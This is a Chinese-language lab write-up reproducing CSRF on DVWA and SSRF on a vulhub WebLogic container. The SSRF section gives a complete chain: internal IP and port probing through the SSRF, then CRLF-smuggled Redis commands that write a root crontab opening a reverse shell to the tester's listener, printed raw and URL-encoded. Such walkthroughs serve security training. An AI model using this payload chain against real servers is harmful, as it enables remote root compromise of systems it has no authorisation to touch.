CSRF复现

打开dvwa，将难度调为low，点击CSRF，打开后发现有一个修改密码的输入框：

在这里修改密码，并用bp抓包，在http history查看数据包，点击engagement tools中的Generate CSRF Poc根据请求包生成一个CSRF攻击的网页：

在生成的代码中修改密码为12345，点击test in browser在浏览器中测试：

复制生成网页的URL：

然后在不关闭dvwa的情况下访问生成的恶意网站，点击按钮：

点击后跳回到dvwa的CSRF修改密码界面，此时密码已经被修改，退回到登录界面，输入原来的密码后发现登录失败：

SSRF复现

启动环境

到vulhub/weblogic/ssrf目录下

cd vulhub/weblogic/ssrf

启动容器：

sudo docker-compose up -d

启动成功，如图：

打开bp，然后打开bp中的内置浏览器Browser，输入地址10.9.75.45:7001/uddiexplorer进入网页，等待初始化后跳转出网页：

漏洞复现

点击Search Public Registries，在页面点击search后用bp抓包：

抓到的数据包如下图，是一个post请求包：

将数据包发到repeater模块，发送后报错，检查错误信息，发现有一个URL，在数据包的底部发现operator包含该URL：

然后我们可以检查此处是否有SSRF漏洞，用dnslog生成一个网址：

复制后在数据包中输入

http://www.emt.hmb3ub.dnslog.cn

观察它是否会根据给的地址做url请求，如果有，就存在SSRF漏洞：

发送后到网站点击Refresh Record，查看是否有请求回显：

确定此处存在SSRF漏洞。

探测存活IP和端口服务

查看报错信息，发现80端口未开放，我们可以测试存活的可用IP，先到kali查看IP：

测试172.17.0.2、172.18.0.2、172.20.0.2、172.21.0.2、172.22.0.2、172.23.0.2、172.24.0.2、172.25.0.2是否存活，如果返回错误信息证明存活，端口用已知的7001开放端口，即它本身的服务端口。

经测试，只有172.23.0.2为存活IP：

在存活IP的基础上测试开放端口80、8080、3306、445、6379，经测试发现只有6379（redis数据库）端口开放（其余端口回显相同的错误信息）：

计划任务反弹shell

由于web服务未开放、ssh未开放，利用redis未授权访问漏洞只能写计划任务做反弹shell，写一个每时每分每天每月每周的计划任务，IP写kali的地址，端口为21

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/10.9.75.45/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

由于redis数据库的命令需要通过http协议提交，所以需要先进行URL编码：

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.45%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意，换行符是“\r\n”，也就是“%0D%0A”。

需要在url中提交，前面加上协议头，前后加上两次换行符：

http://172.23.0.2:6379/emt%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.45%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave %0D%0A%0D%0Aemt

kali监听21端口：

在bp中修改字段点击发送，将计划任务发送到redis数据库中：

反弹shell成功，获取到root权限：

区别

SSRF和CSRF都是伪造攻击，前者伪造服务器的请求，后者伪造用户的请求，来达成攻击者想要达成的目的。

CSRF可以用一个恶意网站诱导用户发送跨站请求，来执行更改用户的密码或转移资金的操作。

SSRF是攻击者向服务器提交一个URL地址，服务器根据URL地址发送HTTP请求，伪造服务器请求。